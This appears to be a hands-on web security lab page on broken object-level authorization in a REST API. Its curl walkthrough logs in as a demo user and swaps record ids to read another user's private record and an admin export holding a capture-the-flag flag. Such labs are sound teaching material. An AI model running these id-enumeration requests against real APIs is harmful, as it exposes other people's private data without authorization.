API Authorization Vulnerabilities
A REST API exposes objects by id. The API is authenticated — every request carries a valid token. But it never checks whether the token's owner is allowed to see the object it is fetching. Every user can read every other user's records, if they know the id.
The rule: you have a valid API token for user demo. The API returns records by id. Some of those records belong to other users. Fetch one — the flag is in it.
Test
Copy these. Run them. Read what comes back.
Step 1 · Log in and get an API token
The API has its own login endpoint. It returns a token in the Authorization header format.
curl -s -X POST "{LAB_API_BASE}/api/28/login" \
-H "Content-Type: application/json" \
-d '{"username":"demo","password":"demo123"}'What you'll see:
{
"ok": true,
"token": "api-demo-7f3a9c",
"uid": 101
}The token is api-demo-7f3a9c. Your uid is 101.
Step 2 · Fetch your own record
The API takes the token and returns the record for the id in the URL.
curl -s "{LAB_API_BASE}/api/28/records/101" \
-H "Authorization: Bearer api-demo-7f3a9c"What you'll see:
{
"id": 101,
"owner": "demo",
"note": "My own note. Nothing secret."
}Yours. Notice that the API did not ask "does this token's owner match the record's owner?" It only asked "is this a valid token?" That is the missing authorization.
Step 3 · Fetch someone else's record
Change the id. Keep the same token.
curl -s "{LAB_API_BASE}/api/28/records/102" \
-H "Authorization: Bearer api-demo-7f3a9c"What you'll see:
{
"id": 102,
"owner": "ada",
"note": "Private record — HL{4p1_4uthz_b4s1c}"
}You read someone else's private record. The token was valid — but the token did not belong to that record. The API never checked the ownership. That is missing object-level authorization, the classic API access control bug.
Challenge
Now do it yourself. No copy-paste. Everything you need is above.
The admin record is 100. But requesting it with your normal token returns a 403 — because the admin endpoint checks the role claim on the token.
The API has a second endpoint: /api/28/records/100/export. It was added later for admins to download a record as CSV. It uses the same token check but forgot the role check. Fetch it with your normal token. The flag is inside.
Solved.
You read data you were never authorized to read. Read why it happened and how to prevent it — in Lesson 28.
Read Lesson 28 in the bookThis lab is free. The deep and the full knowledge is in the book. Full 30 Lessons
Lesson 28 — API Authorization
You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.
Buy the bookAlready have the book? Back to reader →